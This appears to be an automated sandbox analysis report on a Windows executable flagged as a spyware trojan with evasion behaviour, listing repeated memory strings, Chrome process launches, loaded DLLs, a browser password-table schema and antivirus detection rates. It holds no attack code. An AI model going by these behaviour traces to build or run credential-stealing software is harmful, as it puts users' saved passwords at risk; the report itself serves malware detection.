Source: COBYmpzi7q.exe, 00000000.00000003.1696511795.0000000005F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1722070050.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693763474.0000000005D16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696880288.0000000005F92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1706641836.0000000005FF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693969249.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1701944704.0000000005FC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698766780.0000000005EBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694651354.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1692089360.0000000005EC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699891686.0000000005FA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699469998.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699624148.0000000005FA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697557009.0000000006060000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1722325352.0000000005A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694755009.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1702709933.0000000005FCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1695454509.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696630316.0000000006054000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1704141423.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698897718.0000000005F9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697002045.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1689671708.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1702285342.0000000005FCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694377486.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696145746.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698024274.000000000606E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1691681323.0000000005BED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1691798622.0000000005D23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693865296.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1705147107.0000000005FEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1707909592.0000000005EC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696385870.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1689671708.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1704355214.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1691992442.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1703665149.0000000005EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1708795901.0000000006015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699032540.000000000608B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1695070999.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1695787209.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1695687352.000000000602B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1703468203.00000000060DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1722002128.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1709052614.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1708252775.0000000006009000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1707129371.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1704716698.0000000006100000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1701761506.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699759258.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697676054.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1695906370.0000000005F66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1721795938.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1706955338.0000000005FF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1703938101.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694551553.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1691894475.0000000005EC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693658934.0000000005FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1700024527.000000000609D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1695572961.0000000005F74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697806971.0000000005F8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694068056.0000000005EBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1697119279.0000000005F92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1705333098.0000000005EC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1702926455.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1706820734.0000000005EC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1701050734.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1689671708.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698281646.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1699171919.0000000005EC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698643210.0000000006083000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1704963332.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1706448847.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693555843.0000000005F4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698153682.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1707601135.0000000006144000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1701581357.00000000060D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1702117828.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694859682.000000000600F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1694965231.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1693452173.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1706074061.0000000005FEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1705887576.0000000005EC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696755192.0000000005EBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1696030436.0000000006021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1698401817.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs COBYmpzi7q.exe

Source: COBYmpzi7q.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: COBYmpzi7q.exe

Static PE information: Section: ZLIB complexity 0.9995404411764706

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@9/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: COBYmpzi7q.exe, 00000000.00000003.1468362800.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1491780196.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1467992490.0000000005A36000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1492296234.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: COBYmpzi7q.exe	Virustotal: Detection: 50%
Source: COBYmpzi7q.exe	ReversingLabs: Detection: 55%

Source: COBYmpzi7q.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: COBYmpzi7q.exe	String found in binary or memory: vRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeW

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

File read: C:\Users\user\Desktop\COBYmpzi7q.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\COBYmpzi7q.exe "C:\Users\user\Desktop\COBYmpzi7q.exe"
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1920,i,39115509241515820,3086793412648809458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1960,i,9595328068211542477,1476688260023625604,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1920,i,39115509241515820,3086793412648809458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1960,i,9595328068211542477,1476688260023625604,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Section loaded: netutils.dll	Jump to behavior
